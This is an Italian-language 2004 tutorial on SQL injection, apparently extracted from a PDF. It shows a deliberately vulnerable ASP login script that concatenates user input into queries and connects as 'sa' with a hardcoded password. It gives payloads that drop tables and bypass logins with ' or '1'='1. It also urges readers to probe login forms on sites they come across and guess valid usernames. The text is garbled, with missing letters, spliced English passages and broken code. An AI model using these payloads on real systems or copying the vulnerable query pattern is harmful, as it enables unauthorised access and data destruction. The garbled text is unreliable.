Sicurezza Informatica: Tecniche di SQL INJECTION

Sicurezza Informatica:
Tecniche di SQL INJECTION
Pietro Bongli
Aprile 2004
N.B. L'informazione contenuta in queste pagine è divulgata per scopi
puramente didattici e non per ni illegali.
Structured Query Language (SQL) è il linguaggio usato per interagire con i database relazionali. Un'istruzione può interrogare il database, modicarne il contenuto
e cambiare la struttura. In questo articolo parleremo principalmente di TransactSQL, linguaggio usato da Microsoft SQL Server, ma le tecniche esposte possono
essere applicate a qualunque variante del linguaggio con semplici modiche.
La tecnica detta SQL Injection consiste nell'inserire istruzioni SQL, vedremo poi
come, in modo da poter accedere al database anche quando non si ha l'autorizzazione.
Una tipica istruzione SQL può essere:
select id, nome, cognome from utenti
Questa istruzione da in uscita tutte le righe della tabella 'utenti' relativa alle
colonne 'id', 'nome', 'cognome'. L'insieme di elementi in uscita può essere ristretto
utilizzando:
select id, nome, cognome, from utenti \
where nome='mario' and cognome='rossi'
Il punto fondamentale da notare è che le stringhe 'mario' e 'rossi' sono delimitate dall'apice singolo. Supponendo che i campi 'nome' e 'cognome' siano inseriti
dall'utente, l'attacco può essere portato in questa maniere.
nome: ma'rio
cognome: rossi
L'istruzione diventa
select id, nome, cognome from utenti \
where nome='ma'rio' and cognome='rossi'
Quando si cerca di eseguire questa istruzione viene generato il seguente messaggio
di errore.
1
Line 1: Incorrect syntax nera rio'
Questo perchè l'inserimento dell'apice da parte dell'utente termina la stringa
nome e quello che viene dopo è considerato istruzione. Inserendo, ad esempio:
nome: xy '; drop table utenti-cognome:
La tabella utenti verrà cancellata per motivi che saranno più chiari in seguito.
Questo tecnica può essere applicata con notevoli risultati ogni volta che si incontra una vulnerabilità in siti che richiedono login e password. Iniziamo con il vedere
il codice HTML di una pagina di login che abbia accesso ad un database tramite
SQL.
This is the code for the 'form' page, into
which the user types a username and password:
<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>
<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>
<CENTER><H1>Login</H1>
<FORM action='processlogin.asp' method=post>
<TABLE>
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100
Page 4
Page 5
width=100></INPUT></TD></TR>
<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100
width=100></INPUT></TD></TR>
</TABLE>
<INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'>
</FORM>
</FONT>
</BODY>
</HTML>
This is the code for 'processlogin.asp',
which handles the actual login:
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
2
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<script language=''javascript''>
function trace( str )
{
if( Request.form("debug") == "true" )
Response.write(str);
}
function Login( cn )
{
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "'
and password = '" + password + "'";
trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF)
{
rso.close();
<FONT Face='tahoma' color='cc0000'>
<H1>
<BR><BR>
<CENTER>ACCESS
DENIED</CENTER>
</H1>
</BODY>
</HTML>
Response.end
return;
}
else
{
Session("username") = "" + rso("username");
<FONT Face='tahoma' color='00cc00'>
<H1>
<CENTER>ACCESS
3
GRANTED<BR>
<BR>
Welcome,
<
Response.write(rso("Username"));
Response.write("</BODY></HTML>");
Response.end
}
}
function Main()
{
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0)
{
Login(cn);
}
cn.close();
}
Main();
Il punto critico è la parte del 'processlogin.asp' che crea la 'query string':
var sql = "select * from users where username = '" + username + "'
and password = '" + password + "'";
Se l'utente inserisce
USERNAME: ' ;drop table users -PASSWORD:
la tabella viene cancellata, questo perchè l'apice termina la stringa username,
il ';' denota la ne di una istruzione e l'inizio della successiva e il '' serve per far
terminare questa particolare istruzione senza errori. Vediamo un possibile uso più
utile di questa tecnica. Supponiamo di imbatterci in un sito che ci chieda login e
password, inseriamo allora:
login: 'a
password: 'a
Se si ottiene in risposta:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
4
o errori simili signica che il sito ore una vulnerabilità. A questo punto possiamo
tentare una injection; abbiamo bisogno di una login reale, spesso si può tentare con
nomi comuni o simili, ad esempio rossi. Inseriamo dunque:
login: rossi
password: ' or '1'='1
L'istruzione SQL corrispondente diventa simile a:
select*from users where login='rossi' and password=' ' or '1'='1' ;
Quindi l'accesso all'account 'rossi' viene autorizzato se la password è ' ' oppure se
'1'='1'. Chiaramente questa tecnica ore possibilità molto più ampie che verranno
trattate nelle prossime pubblicazioni.
5